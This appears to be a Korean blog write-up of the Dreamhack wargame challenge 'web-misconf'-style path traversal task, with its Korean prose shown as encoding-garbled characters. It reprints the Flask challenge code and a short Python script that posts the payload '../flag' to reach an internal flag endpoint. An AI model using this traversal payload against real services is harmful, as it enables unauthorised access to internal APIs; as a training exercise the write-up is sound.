https://dreamhack.io/wargame/challenges/12
๋ฌธ์
์ฌ์ฉ์์ ์ ๋ณด๋ฅผ ์กฐํํ๋ API ์๋ฒ์
๋๋ค.
Path Traversal ์ทจ์ฝ์ ์ ์ด์ฉํด /api/flag์ ์๋ ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์!
#!/usr/bin/python3
from flask import Flask, request, render_template, abort
from functools import wraps
import requests
import os, json
users = {
'0': {
'userid': 'guest',
'level': 1,
'password': 'guest'
},
'1': {
'userid': 'admin',
'level': 9999,
'password': 'admin'
}
}
def internal_api(func):
@wraps(func)
def decorated_view(*args, **kwargs):
if request.remote_addr == '127.0.0.1':
return func(*args, **kwargs)
else:
abort(401)
return decorated_view
app = Flask(__name__)
app.secret_key = os.urandom(32)
API_HOST = 'http://127.0.0.1:8000'
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
if request.method == 'GET':
return render_template('get_info.html')
elif request.method == 'POST':
userid = request.form.get('userid', '')
info = requests.get(f'{API_HOST}/api/user/{userid}').text
return render_template('get_info.html', info=info)
@app.route('/api')
@internal_api
def api():
return '/user/<uid>, /flag'
@app.route('/api/user/<uid>')
@internal_api
def get_flag(uid):
try:
info = users[uid]
except:
info = {}
return json.dumps(info)
@app.route('/api/flag')
@internal_api
def flag():
return FLAG
application = app # app.run(host='0.0.0.0', port=8000)
# Dockerfile
# ENTRYPOINT ["uwsgi", "--socket", "0.0.0.0:8000", "--protocol=http", "--threads", "4", "--wsgi-file", "app.py"]
ํ์ด
๊ฐ๋จํ๊ฒ ์ด๋ฃจ์ด์ง ํ๋ฉด์ด๋ค.
๋ฌธ์ ํ์ผ์ ํ์ธํด๋ณด์
@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
if request.method == 'GET':
return render_template('get_info.html')
elif request.method == 'POST':
userid = request.form.get('userid', '')
info = requests.get(f'{API_HOST}/api/user/{userid}').text
return render_template('get_info.html', info=info)
/get_info api๋ฅผ ์ด์ฉํ์ฌ {"userid": ์ ์ ๊ฐ์ ๋ ฅํ๊ฐ} ์ request data๋ก ํ๋ post ํต์ ์ด ์ผ์ด๋๋ค.
์น ์๋น์ค์ ์์ฒญ URL์ ์ด์ฉ์์ ์ ๋ ฅ๊ฐ์ด ํฌํจ๋๋ ๊ฒฝ์ฐ์ ํด๋น๋๊ธฐ ๋๋ฌธ์
์ด์ฉ์์ ์ ๋ ฅ๊ฐ ์ค URL์ ๊ตฌ์ฑ ์์ ๋ฌธ์๋ฅผ ์ฝ์ ํด์ API ๊ฒฝ๋ก๋ฅผ ์กฐ์ํ๋ path traversal์ด ๊ฐ๋ฅํ๋ค
์ฐ๋ฆฌ๊ฐ ํ์ํ๊ฑด /api/flag ๊ฒฝ๋ก์์ผ๋ก ์ ์ ๊ฐ ์ ๋ ฅํ ๊ฐ์ ๋ฃ๋ userid ๋ถ๋ถ์ ../flag ๋ง ๋ฃ์ผ๋ฉด
info = requests.get(f'{API_HOST}/api/user/../flag').text
#info = requests.get(f'{API_HOST}/api/flag').text ์ ๊ฐ์
์ด๋ ๊ฒ ์๋ํ๊ฒ ๋๋ค
๋ค๋ง ์น์ฌ์ดํธ ๋ด userid ์ธํ์ ์ ๋ ฅํ๋ฉด ์ JS ๋ก์ง์ ์ํด userid ๊ฐ์ด users[userid] ๊ฐ์ผ๋ก ๋ณํ๊ฒ ๋๋ค
JS๋ฅผ ์กฐ์ํ ๊น ๊ณ ๋ฏผํ๋ค๊ฐ ๊ทธ๋ฅ ์ง์ api์ ์ ๊ทผํ๋ ๋ฐฉ๋ฒ์ผ๋ก ํด๋น JS ๋ก์ง์ ์ฐํํ๊ธฐ๋ก ํ๋ค
(์ด ๋ถ๋ถ์ ํ๋ก์๋ฅผ ์ด์ฉํ๋ ๊ฑฐ๋ผ ๋ฒํ์ค์ํธ๋ฅผ ์ด์ฉํ ์ ์์ง๋ง, ๋๋ ์ค์น๊ฐ ์ ๊ท์ฐฎ์์ (...) ๊ทธ๋ฅ ํ์ด์ฌ๊ณผ ๊ตฌ๊ธ์ฝ๋ฉ์ ์ด์ฉํ๋ค)
import requests
url="http://host3.dreamhack.games:13228/get_info"
response = requests.post(url, data={"userid": "../flag"})
print(response.text)
๊ฒฐ๊ณผ๊ฐ ์ ๋์จ๋ค.
๊ฒฐ๊ณผ๋ก ๋์จ ์ฝ๋์ ๋ณธ๋ฌธ์ ๋ณด๋ฉด ํ๋๊ทธ๊ฐ ์ด์๊ฒ ๋์์๋ค
'๐ Cyber Security > Web Hacking (์นํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] ๋๋ฆผํต ์นํดํน : proxy-1 (1) | 2023.10.16 |
---|---|
[DreamHack] ๋๋ฆผํต ์นํดํน : session (0) | 2023.09.11 |
[DreamHack] ๋๋ฆผํต ์นํดํน : ๐ฑ simple-web-request (0) | 2023.08.14 |
[DreamHack] ๋๋ฆผํต ์นํดํน : blind-command (0) | 2023.07.31 |
[DreamHack] ๋๋ฆผํต ์นํดํน : Carve Party (0) | 2023.07.27 |